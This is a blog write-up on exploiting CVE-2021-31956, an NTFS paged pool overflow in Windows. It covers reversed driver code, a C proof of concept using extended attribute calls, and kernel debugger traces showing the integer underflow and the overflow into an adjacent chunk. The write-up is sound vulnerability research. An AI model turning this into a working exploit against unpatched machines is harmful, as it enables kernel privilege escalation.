This blog post is about a Windows Kernel Paged Pool Overflow going by the identifier CVE-2021-31956 and how to exploit it from a Low Integrity point of view. We don’t cover any novel exploitation techniques, but if you are curious about a Kernel Heap Overflow and how an exploit and all the required steps might look like, you’re at the right address.

I intentionally will talk about my failures. While it’s hard to admit them publicly I like to think that it helps people try more stuff and get into fields they might have scared them off.

Starting Point

I started this journey with the information provided from this securelist blog post and while other writeups exist (1, haven’t read it yet) about this bug itself and the exploitation I set the following restrictions to myself:

  • Has to work from Low Integrity execution level (No NtQuerySystemInformation / EnumDeviceDrivers)
  • No further information (blog posts,…) about the bug itself other than the securelist blog post
  • Use the Scoop the Windows pool technique presented by Corentin Bayet and Paul Fariello of Synack link to paper

The securelist blog post did give us the following information (and reading it in hindsight even a bit more):

  • Integer Underflow leading to an Overflow
  • Vulnerability lies inside the ntfs.sys drivers’ NtfsQueryEaUserEaList function
  • The actual researcher/VR/XDev used the Windows Notification Facility (WNF) to turn the overflow into an arbitrary read/write

With the starting point settled, let’s dive into the bug itself.

The Bug

I started by reversing the ntfs.sys driver, particularly the function of interest NtfsQueryEaUserEaList and it’s caller functions. With the information from the securelist blog post it’s easy to see where things can go wrong. The crucial part is to discard all paths we don’t want to take, which are of course code paths not leading to the vulnerability or leading to the vulnerability in an unexploitable state. Next I tried to make the decompilation of the NtfsQueryEaUserEaList as pretty and understandable as possible, at least the parts we cared for. This means naming variables, writing some comments (don’t go into this if, underflow here, …). This helps so much, years ago I skipped these “minor details” just to struggle with missing information later on or even worse an “understanding” based on wrong assumptions.

During dynamic analysis (running a PoC with a debugger attached) we again see if things are going well (we reach the vulnerable function NtfsQueryEaUserEaList) and reach the vulnerable part of the function. If not, see where we diversed from the track and work towards it. This is a step by step process, at least sometimes.

The following is a simplified version of the function in question:

int128_t* NtfsQueryEaUserEaList(int128_t* arg1, PFILE_FULL_EA_INFORMATION user_file_full_ea_info, void* arg3, int64_t memcpy_dst_pool_base_addr, int32_t out_buf_len, void* arg6, char arg7)

int32_t padding = 0;
while (true) {
    if (NtfsIsEaNameValid(&ea_name_to_find) == 0) {
        // we don't wanna go here, so ensure that EaName is valid
        // snip 8<
    }

    // NtfsLocateEaByName returns 1 if name is found, 0 otherwise
    // As we want to not go into the `if` statement, the EA name we look for should be within the EAs of the file
    while (true) {
        if (NtfsLocateEaByName(file_full_ea_info: user_file_full_ea_info, file_full_ea_info_len: *(arg3 + 4), &ea_name_to_find, _out_ea_offset: &corresponding_offset_into_ea) == 0) {
           // snip 8<
            goto skip_memcpy_vuln;
        }
                  
        int64_t* ea_name_val_block = zx.q(corresponding_offset_into_ea) + user_file_full_ea_info
        block_size = zx.d(*(ea_name_val_block + 5)) + 9 + zx.d(*(ea_name_val_block + 6))
                  
        // integer underflow possible 
        if (block_size u> out_buf_len - padding)
            // snip 8<
            goto exit_out
                  
        // according to the kaspersky blog post here is the overflow
        memcpy(out_buf_pos, ea_name_val_block, zx.q(block_size))
        *out_buf_pos = 0
        skip_memcpy_vuln:
        some_offset_2 = some_offset + block_size + padding
        some_offset_1 = some_offset_2

        if (out_buf_pos_1 != 0)
            *out_buf_pos_1 = out_buf_pos.d - out_buf_pos_1.d

        out_buf_pos_1 = out_buf_pos
        out_buf_len -= block_size + padding
        padding = ((block_size + 3) & 0xfffffffc) - block_size
        goto label_1c01c2c5a
    }
    label_1c01c2c5a:
    rbx += r14_1
}

We will go into more detail about the vulnerability in a bit, for now, this gives us an idea. Next I wanted to create a PoC which is able to reach that functionality.

Where PoC?

So how do we reach that function? Feeling super smart I just set a breakpoint on said function and waited for the OS to do the job for me. Giving me callstacks like the one shown below:

0: kd> bp ntfs!NtfsQueryEaUserEaList
0: kd> g
Breakpoint 1 hit
Ntfs!NtfsQueryEaUserEaList:
fffff806`20bac124 4c894c2420      mov     qword ptr [rsp+20h],r9
0: kd> k
 # Child-SP          RetAddr               Call Site
00 ffff868a`2f29e238 fffff806`20babc7a     Ntfs!NtfsQueryEaUserEaList
01 ffff868a`2f29e240 fffff806`20c0c8a6     Ntfs!NtfsCommonQueryEa+0x22a
02 ffff868a`2f29e3a0 fffff806`20c0c600     Ntfs!NtfsFsdDispatchSwitch+0x286
03 ffff868a`2f29e4d0 fffff806`1dad1f35     Ntfs!NtfsFsdDispatchWait+0x40
04 ffff868a`2f29e770 fffff806`1a8c6ccf     nt!IofCallDriver+0x55
05 ffff868a`2f29e7b0 fffff806`1a8c48d3     FLTMGR!FltpLegacyProcessingAfterPreCallbacksCompleted+0x28f
06 ffff868a`2f29e820 fffff806`1dad1f35     FLTMGR!FltpDispatch+0xa3
07 ffff868a`2f29e880 fffff806`1ddeabfc     nt!IofCallDriver+0x55
08 ffff868a`2f29e8c0 fffff806`1ff4817d     nt!FsRtlQueryKernelEaFile+0x12c
09 ffff868a`2f29e930 fffff806`1ff513c7     CI!CipGetFileCache+0x2f9
0a ffff868a`2f29ea60 fffff806`1ff4f577     CI!CipValidateFileInCache+0xa3
0b ffff868a`2f29eb40 fffff806`1de7bdf5     CI!CiValidateImageHeader+0x3a7
0c ffff868a`2f29ecc0 fffff806`1de7b890     nt!SeValidateImageHeader+0xd9
0d ffff868a`2f29ed70 fffff806`1ddedf13     nt!MiValidateSectionCreate+0x438
0e ffff868a`2f29ef50 fffff806`1ddede41     nt!MiValidateSectionSigningPolicy+0xab
0f ffff868a`2f29efb0 fffff806`1ddeda37     nt!MiValidateExistingImage+0x371
10 ffff868a`2f29f060 fffff806`1dedf97d     nt!MiShareExistingControlArea+0xc7
11 ffff868a`2f29f090 fffff806`1dedf0f4     nt!MiCreateImageOrDataSection+0x1ad
12 ffff868a`2f29f180 fffff806`1dedeed7     nt!MiCreateSection+0xf4
13 ffff868a`2f29f300 fffff806`1dedecbc     nt!MiCreateSectionCommon+0x207
14 ffff868a`2f29f3e0 fffff806`1dc058b8     nt!NtCreateSection+0x5c
15 ffff868a`2f29f450 00007ffb`a430c704     nt!KiSystemServiceCopyEnd+0x28
16 000000f6`d192e468 00007ffb`a42d233a     ntdll!NtCreateSection+0x14
17 000000f6`d192e470 00007ffb`a42d218c     ntdll!LdrpMapDllNtFileName+0x14a
18 000000f6`d192e570 00007ffb`a42d152f     ntdll!LdrpMapDllFullPath+0xe0
19 000000f6`d192e700 00007ffb`a42a4c4b     ntdll!LdrpProcessWork+0x123
1a 000000f6`d192e760 00007ffb`a42ac414     ntdll!LdrpLoadDllInternal+0x13f
1b 000000f6`d192e7e0 00007ffb`a42ac612     ntdll!LdrpLoadForwardedDll+0x138
1c 000000f6`d192eaf0 00007ffb`a4292b97     ntdll!LdrpGetDelayloadExportDll+0xa2
1d 000000f6`d192ec00 00007ffb`a42a4196     ntdll!LdrpHandleProtectedDelayload+0x87
1e 000000f6`d192f1d0 00007ffb`a3c9c7d2     ntdll!LdrResolveDelayLoadedAPI+0xc6
1f 000000f6`d192f260 00000000`00000001     0x00007ffb`a3c9c7d2
20 000000f6`d192f268 00007ffb`a3ec61e8     0x1
21 000000f6`d192f270 00000000`00000000     0x00007ffb`a3ec61e8

Long story short, this led me into unnecessary rabbit holes reversing ntdll!NtCreateSection, ntdll!LdrResolveDelayLoadedAPI and other functions within this callstack or the functions of other callstacks leading up to NtfsQueryEaUserEaList while it was an ego thing with the idea of using as little public information as possible, I callend an end to that exercise.

Further googling about extended attributes (EAs) within NTFS was the better choice, getting an understanding of the technology, seeing code samples of developers using them etc. Surprise surprise there are dedicated functions for this! One great blog post was https://hex.pp.ua/extended-attributes.php which listed structures and the API calls NtQueryEaFile and NtSetEaFile also including example code to query and set EAs.

NTSTATUS
NtSetEaFile(
    IN HANDLE FileHandle,
    IN PIO_STATUS_BLOCK IoStatusBlock,
    PVOID EaBuffer,
    ULONG EaBufferSize
);

NTSTATUS
NtQueryEaFile(
    IN HANDLE FileHandle,
    OUT PIO_STATUS_BLOCK IoStatusBlock,
    OUT PVOID Buffer,
    IN ULONG Length,
    IN BOOLEAN ReturnSingleEntry,
    IN PVOID EaList OPTIONAL,
    IN ULONG EaListLength,
    IN PULONG EaIndex OPTIONAL,
    IN BOOLEAN RestartScan
);

This was great, I adapted the code to fit my use case (based on the vulnerable code I knew I had to use more than one EA). The code did try to set two or three EAs into a file using NtSetEaFile and then should read these through NtQueryEaFile.

Building the exe, attaching a kernel debugger to the vulnerable host, setting a breakpoint on NtfsQueryEaUserEaList stemming from the respective process (you’ll see how this is done later on) and we run into errors before even calling NtQueryEaFile. The first errors while trying to set multiple attributes then errors trying to query the attributes. The issues mostly stemmed from the fact that we need to set the fields NextEntryOffset, EaNameLength and EaValueLength precisely.

typedef struct _FILE_FULL_EA_INFORMATION
{
    ULONG NextEntryOffset;
    UCHAR Flags;
    UCHAR EaNameLength;
    USHORT EaValueLength;
    CHAR EaName[1];
} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;

Also the EaName must not contain any non-ascii characters, this will be important later on. Having figured that out, I tried to simplify it and used the same name and value lengths for the EAs I wanted to set. In hindsight I should have made it modular from the get go.

Now finally, compiling, setting a breakpoint, execution aaand … nothing. Didn’t hit NtfsQueryEaUserEaList. First I though it might have something to do with the Flags field, but this was not the case. In hindsight again it was obvious, the vulnerable function has EaList in it’s name and I hadn’t set the EaList and EaListLength parameters:

    IN PVOID EaList OPTIONAL,
    IN ULONG EaListLength,

However I came only to that conclusion after reversing more (up the callstack), debugging and trial and error (goto: reversing) that I did miss that.

Eventually I was able to trigger the vulnerable function. So let’s figure out how we are getting that overflow next. This was the source code of the PoC at that time:

#include <windows.h>
#include <stdio.h>
#include <ntstatus.h>
#include <winternl.h>

// Ressources:
// https://securelist.com/puzzlemaker-chrome-zero-day-exploit-chain/102771/
// https://hex.pp.ua/extended-attributes.php
// https://github.com/uvbs/obfuscation-crypto-repo/blob/master/Krypton_7.1/Bin/SYS/ntundoc.h
// http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FFile%2FFILE_GET_EA_INFORMATION.html
// 

#define STATUS_INVALID_EA_NAME           ((NTSTATUS)0x80000013L)
#define STATUS_EA_LIST_INCONSISTENT      ((NTSTATUS)0x80000014L)
#define STATUS_EA_TOO_LARGE              ((NTSTATUS)0xC0000050L)
#define STATUS_EAS_NOT_SUPPORTED         ((NTSTATUS)0xC000004FL)
#define STATUS_EA_CORRUPT_ERROR          ((NTSTATUS)0xC0000053L)

#define MAX_EA_NAME_LEN 255


// Function prototypes for the Native API functions
typedef NTSTATUS(NTAPI* NtSetEaFile_t)(
    HANDLE FileHandle,
    PIO_STATUS_BLOCK IoStatusBlock,
    PVOID Buffer,
    ULONG Length
    );

typedef NTSTATUS(NTAPI* NtQueryEaFile_t)(
    HANDLE FileHandle,
    PIO_STATUS_BLOCK IoStatusBlock,
    PVOID Buffer,
    ULONG Length,
    BOOLEAN ReturnSingleEntry,
    PVOID EaList,
    ULONG EaListLength,
    PULONG EaIndex,
    BOOLEAN RestartScan
    );

#define EA_NAME  "User.Comment321"
#define EA_NAME2 "User.Comment222"
#define EA_NAME_LENGTH (sizeof(EA_NAME) - 1)
#define EA_NAME_LENGTH2 (sizeof(EA_NAME2) - 1)



typedef struct _FILE_FULL_EA_INFORMATION {
    ULONG NextEntryOffset;
    UCHAR Flags;
    UCHAR EaNameLength;
    USHORT EaValueLength;
    CHAR EaName[1];
} FILE_FULL_EA_INFORMATION, * PFILE_FULL_EA_INFORMATION;

typedef struct _FILE_GET_EA_INFORMATION {
    ULONG                   NextEntryOffset;
    BYTE                    EaNameLength;
    CHAR                    EaName[1];
} FILE_GET_EA_INFORMATION, * PFILE_GET_EA_INFORMATION;


void query_extended_attributes(HANDLE hFile, NtQueryEaFile_t NtQueryEaFile) {
    ULONG queryBufferSize = 1024;
    PFILE_FULL_EA_INFORMATION queryBuffer = (PFILE_FULL_EA_INFORMATION)malloc(queryBufferSize);
    if (!queryBuffer) {
        printf("Memory allocation error\n");
        return;
    }

    ULONG eaBufferSize = 9 + EA_NAME_LENGTH;

    PFILE_GET_EA_INFORMATION file_get_ea_inf1 = (PFILE_GET_EA_INFORMATION)malloc(eaBufferSize);
    PFILE_GET_EA_INFORMATION file_get_ea_inf2 = (PFILE_GET_EA_INFORMATION)malloc(eaBufferSize);

    file_get_ea_inf1->NextEntryOffset = eaBufferSize;
    file_get_ea_inf1->EaNameLength = EA_NAME_LENGTH;
    file_get_ea_inf2->NextEntryOffset = 0;
    file_get_ea_inf2->EaNameLength = EA_NAME_LENGTH;

    memcpy(file_get_ea_inf1->EaName, EA_NAME, EA_NAME_LENGTH + 1);
    memcpy(file_get_ea_inf2->EaName, EA_NAME2, EA_NAME_LENGTH + 1);



    char* buf = (char*)malloc(eaBufferSize * 2);
    memcpy(buf, file_get_ea_inf1, eaBufferSize);
    memcpy(buf + eaBufferSize, file_get_ea_inf2, eaBufferSize);



    ULONG eaIndex = 0;

    /* END TESTS */

    IO_STATUS_BLOCK ioStatus;
    NTSTATUS status = NtQueryEaFile(hFile, &ioStatus, queryBuffer, queryBufferSize, FALSE, buf, eaBufferSize*2, &eaIndex, TRUE);
    //NTSTATUS status = NtQueryEaFile(hFile, &ioStatus, queryBuffer, queryBufferSize, FALSE, 0, 0, 0, TRUE);

    if (status != STATUS_SUCCESS) {
        printf("NtQueryEaFile error: %08x\n", status);
        free(queryBuffer);
        return;
    }

    printf("Extended attributes queried successfully\n");

    PFILE_FULL_EA_INFORMATION eaEntry = queryBuffer;
    do {
        printf("EA Name: %.*s\n", eaEntry->EaNameLength, eaEntry->EaName);
        printf("EA Value: %.*s\n", eaEntry->EaValueLength, eaEntry->EaName + eaEntry->EaNameLength + 1);

        if (eaEntry->NextEntryOffset == 0)
            break;

        eaEntry = (PFILE_FULL_EA_INFORMATION)((PUCHAR)eaEntry + eaEntry->NextEntryOffset);
    } while (TRUE);

    free(queryBuffer);
}


BOOL set_extended_attributes(HANDLE hFile, NtSetEaFile_t NtSetEaFile) {

    // Set extended attribute
    CHAR eaValue[] = "This is a comment123";
    CHAR eaValue2[] = "This is a comment124";
    ULONG eaValueLength = sizeof(eaValue);

    ULONG eaBufferSize = sizeof(FILE_FULL_EA_INFORMATION) + EA_NAME_LENGTH + eaValueLength;
    PFILE_FULL_EA_INFORMATION eaBuffer1 = (PFILE_FULL_EA_INFORMATION)malloc(eaBufferSize);
    PFILE_FULL_EA_INFORMATION eaBuffer2 = (PFILE_FULL_EA_INFORMATION)malloc(eaBufferSize);


    if (!eaBuffer1 || !eaBuffer2) {
        printf("Memory allocation error\n");
        CloseHandle(hFile);
        return 0;
    }

    eaBuffer1->NextEntryOffset = eaBufferSize;
    eaBuffer1->Flags = 0x80;
    eaBuffer1->EaNameLength = EA_NAME_LENGTH;
    eaBuffer1->EaValueLength = eaValueLength;
    memcpy(eaBuffer1->EaName, EA_NAME, EA_NAME_LENGTH + 1);
    memcpy(eaBuffer1->EaName + EA_NAME_LENGTH + 1, eaValue, eaValueLength);

    IO_STATUS_BLOCK ioStatus;
    //NTSTATUS status = NtSetEaFile(hFile, &ioStatus, eaBuffer, eaBufferSize);


    
    // second EA
    eaBuffer2->NextEntryOffset = 0;
    eaBuffer2->Flags = 0x80;
    eaBuffer2->EaNameLength = EA_NAME_LENGTH2;
    eaBuffer2->EaValueLength = eaValueLength;
    memcpy(eaBuffer2->EaName, EA_NAME2, EA_NAME_LENGTH2 + 1);
    memcpy(eaBuffer2->EaName + EA_NAME_LENGTH2 + 1, eaValue2, eaValueLength);

    char* buf = (char*)malloc(eaBufferSize * 2);
    memcpy(buf, eaBuffer1, eaBufferSize);
    memcpy(buf + eaBufferSize, eaBuffer2, eaBufferSize);

    NTSTATUS status = NtSetEaFile(hFile, &ioStatus, buf, eaBufferSize*2);

    if (status != STATUS_SUCCESS) {
        printf("NtSetEaFile error: %08x\n", status);
        free(buf);
        free(eaBuffer1);
        free(eaBuffer2);
        CloseHandle(hFile);
        return 0;
    }
    

    printf("Extended attribute set successfully\n");
    return 1;
}


int main() {
    // Load ntdll.dll and get the addresses of the functions
    HMODULE ntdll = LoadLibraryA("ntdll.dll");
    if (!ntdll) {
        printf("Error loading ntdll.dll\n");
        return 1;
    }

    NtSetEaFile_t NtSetEaFile = (NtSetEaFile_t)GetProcAddress(ntdll, "NtSetEaFile");
    NtQueryEaFile_t NtQueryEaFile = (NtQueryEaFile_t)GetProcAddress(ntdll, "NtQueryEaFile");

    if (!NtSetEaFile || !NtQueryEaFile) {
        printf("Error finding NtSetEaFile or NtQueryEaFile\n");
        return 1;
    }

    // File to set/query extended attributes
    const char* fileName = "example.txt";
    HANDLE hFile = CreateFileA(fileName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL);
    if (hFile == INVALID_HANDLE_VALUE) {
        printf("Error opening file: %lu\n", GetLastError());
        return 1;
    }

    set_extended_attributes(hFile, NtSetEaFile);

    printf("[>] Continue to do a NtQueryEaFile? > ");
    getchar();

    query_extended_attributes(hFile, NtQueryEaFile);

    CloseHandle(hFile);
    return 0;
}

Setting a breakpoint before the memcpy happens within NtfsQueryEaUserEaList and after the breakpoint got hit brings us this state:


1: kd> 
Ntfs!NtfsQueryEaUserEaList+0x1c5:
fffff800`61b8c2e9 e81258f5ff      call    Ntfs!memcpy (fffff800`61ae1b00)

// Windows x64 calling convention is most of the time function_call(rcx, rdx, r8, r9)
// rest of the paremeters are put on the stack
1: kd> r rcx, rdx, r8, r9
rcx=ffff9c8a59465b70 rdx=ffffc48e60e2dd88 r8=000000000000002d r9=fffffb0ddb55ebf0
1: kd> db ffff9c8a59465b70 l60
ffff9c8a`59465b70  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffff9c8a`59465b80  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffff9c8a`59465b90  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffff9c8a`59465ba0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffff9c8a`59465bb0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffff9c8a`59465bc0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................


1: kd> !pool @rcx
unable to get nt!PspSessionIdBitmap
Pool page ffff9c8a59465b70 region is Paged pool
 ffff9c8a59465000 size:   30 previous size:    0  (Free)       ....
 ffff9c8a59465040 size:  580 previous size:    0  (Allocated)  Ntff
 ffff9c8a594655d0 size:  580 previous size:    0  (Allocated)  Ntff
*ffff9c8a59465b60 size:  440 previous size:    0  (Allocated) *NtFE
		Pooltag NtFE : Ea.c, Binary : ntfs.sys
 ffff9c8a59465fa0 size:   40 previous size:    0  (Free)       m.+^

We can see that we have allocated a chunk of size 0x440 and the chunk resides within the Paged pool.

Inspecting the source data:

1: kd> db @rdx l85
ffffc48e`60e2dd88  30 00 00 00 80 0f 15 00-55 53 45 52 2e 43 4f 4d  0.......USER.COM
ffffc48e`60e2dd98  4d 45 4e 54 33 32 31 00-54 68 69 73 20 69 73 20  MENT321.This is 
ffffc48e`60e2dda8  61 20 63 6f 6d 6d 65 6e-74 31 32 33 00 00 6f 00  a comment123..o.
ffffc48e`60e2ddb8  2c 00 00 00 80 0d 15 00-55 53 45 52 2e 43 4f 4d  ,.......USER.COM
ffffc48e`60e2ddc8  4d 45 4e 54 32 00 54 68-69 73 20 69 73 20 61 20  MENT2.This is a 
ffffc48e`60e2ddd8  63 6f 6d 6d 65 6e 74 31-32 34 00 42 00 00 00 00  comment124.B....
ffffc48e`60e2dde8  ff ff ff ff 82 79 47 11-00 00 00 00 00 00 00 00  .....yG.........
ffffc48e`60e2ddf8  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffc48e`60e2de08  00 00 00 00 00                                   .....

The source is the EA name and EA value. During normal execution the source data we would actually copy is of length 0x2d (for this EA)

1: kd> db @rdx l2d
ffffc48e`60e2dd88  30 00 00 00 80 0f 15 00-55 53 45 52 2e 43 4f 4d  0.......USER.COM
ffffc48e`60e2dd98  4d 45 4e 54 33 32 31 00-54 68 69 73 20 69 73 20  MENT321.This is 
ffffc48e`60e2dda8  61 20 63 6f 6d 6d 65 6e-74 31 32 33 00           a comment123.

So the EA name and value get copied into the destination, one by one. With that understanding it’s time to revisit the vulnerability again and see how we would be able to trigger it.

Getting the Overflow

We finished off with code thats finally able to reach the vulnerable function. The next step for me was to get a better understanding of the vulnerability and the overall logic of the function. After all, we just want to have a four byte overflow of controlled/arbitrary data into the next chunk.

Through reversing we know that the destination buffer used during the memcpy is allcoated on the Paged Pool within NtfsCommonQueryEa (caller of the vulnerable function) and stems from the respective IRP.

Subsequent dynamic testing where we modify the queryBufferSize within our NtQueryEaFile call showed, that the allocation within the kernel space is the user controllable queryBufferSize + sizeof(PoolMetadata) (the size of the PoolMetadata differs for the respective backend allocator).

That we have much control over the allocated kernel buffer is great as it gives us quite an amount of flexibility regarding the backend allocator we want to use (LFH,VS), the bucket size and potentially better control of the overflow. Of course we have to ensure that the different sizes result in an exploitable condition.

Looking back at the decompilation and the disassembly in addition to inspecting the involved registers leaves us with the following simplification of the bug:

char *output_buf = malloc(out_buf_len+sizeof(PoolMetadata));
int padding = 0

while (true) {
    EA ea_name_val_block = offset_into_curr_ea + user_file_full_ea_info
    uint32_t block_size = ea_name_val_block.name_len + ea_name_val_block.val_len + 9;

    if (block_size < out_buf_len - padding)
        break

    memcpy(output_buf, curr_ea_name_val_pair, size_of_ea_name_val_pair);

    out_buf_len -= block_size + padding
    padding = ((block_size + 3) & 0xfffffffc) - block_size
    output_buf += block_size + padding
}

The possible values for padding are 0-3. So when output_buf_len gets to 0-2 and padding becomes 3 we get an integer overflow and pass the check while the actual buffer does not have enough space for the EA to be copied into.

We do pass the check due to an unsigned comparison. If the left parameter is an unsigned int and the right parameter is an int within the comparison, the right parameter will be casted/promoted to an unsinged int too, creating the exploitable condition. You can read more about this in the chapter Chapter 6 - C Language Issues: Type Conversion of the awesome book The Art of Software Security Assessments. Below is an excerpt of the table describing the conversion we saw.

Integer Conversion

I adapted the code with the PoC to use a output_buf_len of 0x143, below I’ll show you the states leading to the discussed comparisons.

// Get the `_EPROCESS` address of our process
0: kd> !process 0 0 CVE-2021-31956.exe
PROCESS ffff9b8e92ad3340
    SessionId: 1  Cid: 1980    Peb: f581868000  ParentCid: 0b44
    DirBase: 22d917000  ObjectTable: ffffd8892f128d40  HandleCount: 283305.
    Image: CVE-2021-31956.exe

// Set a breakpoint just before the interesting part happens
0: kd> ba e1 /p ffff9b8e92ad3340 ntfs+00000000`000dc2b7
0: kd> g
Breakpoint 1 hit
Ntfs!NtfsQueryEaUserEaList+0x193:
fffff803`0cb8c2b7 4903d6          add     rdx,r14

// snip

/// 1. Iteration (first EA)

// subtract padding from out_buf_len, first time no padding
0: kd> t
Ntfs!NtfsQueryEaUserEaList+0x196:
fffff803`0cb8c2ba 412bc7          sub     eax,r15d
1: kd> r eax, r15d
eax=143 r15d=0


// if (block_size u> out_buf_len - padding) // r14d=block_size; eax=(out_buf_len-padding)
1: kd> t
Ntfs!NtfsQueryEaUserEaList+0x1a9:
fffff803`0cb8c2cd 443bf0          cmp     r14d,eax

1: kd> r r14d, eax
r14d=99 eax=143

So we pass the validation, go into the memcpy and the padding value will be set to 3, I just wrote a simple C program to do the calcuation for me:

#include<stdio.h>

int main() {

	int block_size = 0x99;

	int padding = ((block_size + 3) & 0xfffffffc) - block_size;
	printf("padding: %d\n", padding);
	return 0;
}

user@user:/tmp$ gcc a.c -o a && ./a
padding: 3

After all, it’s just padding’ up to be a multiple of four, but doing it this way leaves less room for errors, especially while I’m not perfect with doing hex calculations and conversions within my head.

Proceeding to the memcpy and inspecting the memory afterwards:

// pc - continue up to the next `call` instruction
1: kd> pc
Ntfs!NtfsQueryEaUserEaList+0x1c5:
fffff803`0cb8c2e9 e81258f5ff      call    Ntfs!memcpy (fffff803`0cae1b00)

// calling convention is function_call(rcx, rdx, r8, r9, <values on stack>)
1: kd> r rcx, rdx, r8
rcx=ffffd889349859d0 rdx=ffffc60a464810e0 r8=0000000000000099

// step over the execution
1: kd> p
Ntfs!NtfsQueryEaUserEaList+0x1ca:
fffff803`0cb8c2ee 41897d00        mov     dword ptr [r13],edi

// inspect the written data
1: kd> db ffffd889349859d0 l0x99
ffffd889`349859d0  9c 00 00 00 00 0f 81 00-55 53 45 52 2e 43 4f 4d  ........USER.COM
ffffd889`349859e0  4d 45 4e 54 33 32 31 00-54 68 69 73 20 69 73 20  MENT321.This is 
ffffd889`349859f0  61 20 63 6f ff 6d 65 6e-74 31 32 33 41 41 41 41  a co.ment123AAAA
ffffd889`34985a00  42 42 42 42 43 43 43 43-44 44 44 44 45 45 45 45  BBBBCCCCDDDDEEEE
ffffd889`34985a10  46 46 46 46 41 41 41 41-42 42 42 42 43 43 43 43  FFFFAAAABBBBCCCC
ffffd889`34985a20  44 44 44 44 45 45 45 45-46 46 46 46 47 47 47 47  DDDDEEEEFFFFGGGG
ffffd889`34985a30  48 48 48 48 4a 4a 4a 4a-4b 4b 4b 4b 4c 4c 4c 4c  HHHHJJJJKKKKLLLL
ffffd889`34985a40  4d 4d 4d 4d 4e 4e 4e 4e-4f 4f 4f 4f 50 50 50 50  MMMMNNNNOOOOPPPP
ffffd889`34985a50  01 02 03 04 05 06 07 08-01 02 03 04 05 06 07 08  ................
ffffd889`34985a60  01 02 03 04 05 06 07 08-00                       .........

So we can confirm that the first EA is successfully written into the buffer. Lets continue and see what the next iteration does:

1: kd> g
Breakpoint 1 hit

/// 2. Iteration (second EA)
1: kd> t
Ntfs!NtfsQueryEaUserEaList+0x196:
fffff803`0cb8c2ba 412bc7          sub     eax,r15d

1: kd> r eax, r15d
eax=aa r15d=3

1: kd> ?143-99
Evaluate expression: 170 = 00000000`000000aa

0xaa is the result of our original output_buf_len minus the previous block_size of 0x99. And as we already calculated the padding is 3.

// if (block_size u> out_buf_len - padding) // r14d=block_size; eax=(out_buf_len-padding)
1: kd> t
Ntfs!NtfsQueryEaUserEaList+0x1a9:
fffff803`0cb8c2cd 443bf0          cmp     r14d,eax

1: kd> r r14d, eax
r14d=a5 eax=a7

We again pass the validation as 0xa5 is smaller than 0xa7. We continue directly to the third iteration and skip the memcpy inspection this time.

1: kd> g
Breakpoint 1 hit

1: kd> t
Ntfs!NtfsQueryEaUserEaList+0x196:
fffff803`0cb8c2ba 412bc7          sub     eax,r15d

1: kd> r eax, r15d
eax=2 r15d=3

1: kd> t

1: kd> r eax
eax=ffffffff

This time we have a out_buf_len of 2 and a padding of 3 during the sub instruction, which leads to an eax value of 0xffffffff. This is the integer underflow we were talking about all that time! We got it. So we just have a remaining space of two bytes within our buffer but we are going to reach the memcpy.

1: kd> t
Ntfs!NtfsQueryEaUserEaList+0x1a9:
fffff803`0cb8c2cd 443bf0          cmp     r14d,eax

1: kd> r r14d, eax
r14d=10 eax=ffffffff

The last EA block size is 0x10 and is 0xffffffff (out_buf_len-padding) larger than that? At least for unsigned comparison it is.

Inspecting the state of the pool buffers before the memcpy

1: kd> !pool ffffd88934985b14
Pool page ffffd88934985b14 region is Paged pool
// snip
*ffffd889349859c0 size:  160 previous size:    0  (Allocated) *NtFE
		Pooltag NtFE : Ea.c, Binary : ntfs.sys
 ffffd88934985b20 size:  160 previous size:    0  (Allocated)  NpAt
// snip

// data in chunk and start of adjacent chunk before the third memcpy leading to the overflow
1: kd> db ffffd889349859c0 l180
ffffd889`349859c0  00 00 16 03 4e 74 46 45-00 00 00 00 00 00 00 00  ....NtFE........
ffffd889`349859d0  9c 00 00 00 00 0f 81 00-55 53 45 52 2e 43 4f 4d  ........USER.COM
ffffd889`349859e0  4d 45 4e 54 33 32 31 00-54 68 69 73 20 69 73 20  MENT321.This is 
ffffd889`349859f0  61 20 63 6f ff 6d 65 6e-74 31 32 33 41 41 41 41  a co.ment123AAAA
ffffd889`34985a00  42 42 42 42 43 43 43 43-44 44 44 44 45 45 45 45  BBBBCCCCDDDDEEEE
ffffd889`34985a10  46 46 46 46 41 41 41 41-42 42 42 42 43 43 43 43  FFFFAAAABBBBCCCC
ffffd889`34985a20  44 44 44 44 45 45 45 45-46 46 46 46 47 47 47 47  DDDDEEEEFFFFGGGG
ffffd889`34985a30  48 48 48 48 4a 4a 4a 4a-4b 4b 4b 4b 4c 4c 4c 4c  HHHHJJJJKKKKLLLL
ffffd889`34985a40  4d 4d 4d 4d 4e 4e 4e 4e-4f 4f 4f 4f 50 50 50 50  MMMMNNNNOOOOPPPP
ffffd889`34985a50  01 02 03 04 05 06 07 08-01 02 03 04 05 06 07 08  ................
ffffd889`34985a60  01 02 03 04 05 06 07 08-00 00 00 00 00 00 00 00  ................
ffffd889`34985a70  00 0f 8d 00 55 53 45 52-2e 43 4f 4d 4d 45 4e 54  ....USER.COMMENT
ffffd889`34985a80  32 32 32 00 54 68 69 73-20 69 73 20 61 20 63 6f  222.This is a co
ffffd889`34985a90  ff 6d 65 6e 74 31 32 33-41 41 41 41 42 42 42 42  .ment123AAAABBBB
ffffd889`34985aa0  43 43 43 43 44 44 44 44-45 45 45 45 46 46 46 46  CCCCDDDDEEEEFFFF
ffffd889`34985ab0  47 47 48 48 48 48 49 49-49 49 4a 4a 41 41 41 41  GGHHHHIIIIJJAAAA
ffffd889`34985ac0  42 42 42 42 43 43 43 43-44 44 44 44 45 45 45 45  BBBBCCCCDDDDEEEE
ffffd889`34985ad0  46 46 46 46 47 47 47 47-48 48 48 48 4a 4a 4a 4a  FFFFGGGGHHHHJJJJ
ffffd889`34985ae0  4b 4b 4b 4b 4c 4c 4c 4c-4d 4d 4d 4d 4e 4e 4e 4e  KKKKLLLLMMMMNNNN
